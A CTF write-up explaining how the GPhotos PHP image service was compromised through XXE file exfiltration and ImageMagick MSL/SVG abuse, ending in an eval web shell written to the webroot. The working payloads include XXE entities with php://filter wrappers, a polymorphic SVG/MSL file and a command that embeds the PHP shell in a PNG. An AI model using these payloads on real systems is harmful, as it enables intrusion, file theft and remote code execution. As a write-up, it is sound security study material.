GoogleCTF 2019 GPhotos writeup

Challenge description

The challenge is an image storage service implemented as a PHP script. The source can be retrieved via a hidden link on the main page (it leads to /?action=src). The script is running inside Apache.

When an image file is uploaded it goes through the following steps:

  1. It's checked using mime_content_type. This function must return one of image/gif, image/png, image/jpeg and image/svg+xml.
  2. If it's image/png or image/jpeg, the file goes to getimagesize and must return correct value. Otherwise, it goes to DOMDocument->loadXML and must not fail.
  3. ImageMagick's convert is executed on the file to generate a thumbnail. It must return zero status.
  4. The original file (along with the thumbnail) is placed in the upload subdirectory in the webroot. The extension is set based on the mime type from step one (so trivial png_with_a_shell_inside.php would not work).

If one of the steps above fails, the rest is not executed. If the processing succeeds, you can get the full path to the image via listing on the index page.

The task had more stuff which left unused by our solution. There was a class begging for unserialize, XXE which allowed local file read and information leak via phpinfo(). The whole source can be found here.


The way site parsed SVG for validation was vulnerable to a classic XXE.

 $xmlfile = file_get_contents($file);
 $dom = new DOMDocument();
 $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
 $svg = simplexml_import_dom($dom);

This configuration allows external entities and external DTD. Exploiting it was not required for solving the task, but we used it in information gathering stage, one of the main goals during it was to get ImageMagick config /etc/ImageMagick-6/policy.xml to find out what can we use in exploit against ImageMagick. We used a standard out-of-band exfiltration technique to steal files - we sent this SVG:

<?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE foo [  
   <!ELEMENT svg ANY >
   <!ENTITY % remote SYSTEM "" >

Which included XML ev.xml from our server which looked like this

<!ENTITY % template "<!ENTITY res SYSTEM ';'>">

Few complications we faced were that SimpleXML in PHP is rather strict and won't open URLs with "bad" characters. We solved that by using PHP URL wrapper convert.base64-encode to base64-encode file contents. Another problem was that it did not allow too large URLs (and aforementioned ImageMagick config was too large). PHP wrappers again helped us - it turned out we can use zlib.deflate to compress file contents. So our final ev.xml used to steal policy.xml looked like this

<!ENTITY % secret SYSTEM "php://filter/convert.base64-encode/resource=php://filter/zlib.deflate/resource=file:///etc/ImageMagick-6/policy.xml" >
<!ENTITY % template "<!ENTITY res SYSTEM ';'>">

ImageMagick exploitation

There're several ImageMagick vectors we've combined to get RCE:

  1. Some Debians appear to have insecure ImageMagick configuration by default, specifically, a lot of dangerous formats are allowed. Another thing is that you can put an image tag with href attribute like <format>:<path> into an SVG and ImageMagick will try to parse the path as if it was of the format you specified. For example the text (pseudo)format just prints a file as text, so this svg:
<?xml version="1.0" encoding="UTF-8"?>
<svg width="120px" height="120px">
  <image width="120" height="120" href="text:/etc/passwd" />

generates small /etc/passwd:

/etc/passwd /etc/passwd for ants
  1. By default ImageMagick comes with support for a very special image format: MSL (Magnificent Shell Landing). Its sole purpose is copying images with a php shell inside to the web root (it allows to set php file extension of course). Even more convenient for this case, the format is XML-based. An MSL file looks like this:
<image>    <!-- ImageMagick's legend is "image processing" so the tag is named "image". -->
  <read filename="image.png" />    <!-- To make the legend more compelling "image.png" is checked to be a valid image file. -->
  <write filename="/var/www/html/shell.php" />    <!-- This line gives access to a hacker accomplishing the mission of the MSL format and ImageMagick in general -->

This format is not autodetected by the signature so we cannot just upload it. However, we can use SVG: if we place an MSL file in some known location we can just put href="msl:/path/to/file.msl" into the SVG example above and the web shell will be copied.

So to solve the challenge we need to put an MSL file somewhere on the server and get the path to it.

We tried to use phpinfo + slow response read for retrieving the path to /tmp/phpXXXXXX temp file before it gets deleted, but this trick didn't work in the environment of the task.

  1. After several tries we ended up with this file:
<?xml version="1.0" encoding="UTF-8" ?>
<!-- <svg> -->
  <read filename="image.png" />
  <write filename="/var/www/shell.php" />
  <svg width="120px" height="120px">
    <image href="image.png" />

There are some interesting things about this file:

  1. Because of <svg> inside the comment on the second line, mime_content_type will detect the file as image/svg+xml.
  2. If we execute convert msl:file zalupa.png the MSL instructions are executed (that is, image.png is moved to /var/www/shell.php).
  3. If we execute ImageMagick without format specifier (like convert file zalupa.png) it is parsed as an SVG. ImageMagick doesn't care about the fact that the svg tag is not the first one, it just wants it somewhere. Another thing to note is the internal image tag (<image href="image.png" />). It is invalid for MSL, however, if we hadn't added it, ImageMagick would have tried to parse the external image tag in the SVG (and fail, as it doesn't have href attribute). But if there's a fake internal image tag ImageMagick forgets about the invalid one.

The attack scenario

Let's put all the pieces together.

  1. First, we upload a png that includes a php shell in the comment (create it by convert -size 100x100 -comment '<?php eval($_GET["cmd"]); ?>' rgba:/dev/urandom[0] shell.png). It is successfully processed and the index page will show the path to it. Assume it is upload/<hash>/<image>.png, so the local path is /var/www/html/upload/<hash>/<image>.png.

  2. We upload our polymorph:

<?xml version="1.0" encoding="UTF-8" ?>
<!-- <svg> -->
  <read filename="/var/www/html/upload/<hash>/<image>.png" />
  <write filename="/var/www/html/upload/shell_huihui.php" />
  <svg width="120px" height="120px">
    <image href="/var/www/html/upload/<hash>/<image>.png" />

It is successfully processed (as an SVG). Again, we can get the full path via the index page. Let's say it's /var/www/html/upload/<hash>/<image2>.svg.

  1. We upload an SVG which looks like this:
<?xml version="1.0" encoding="UTF-8"?>
<svg width="120px" height="120px">
  <image width="120" height="120" href="msl:/var/www/html/upload/<hash>/<image2>.svg" />

It passes the mime_content_type and DOMDocument->loadXML checks so convert is executed on the file. It will fail after discovering invalid MSL instructions. However, the web shell will be already moved to the webroot.

  1. We go to'/get_flag') and get the flag.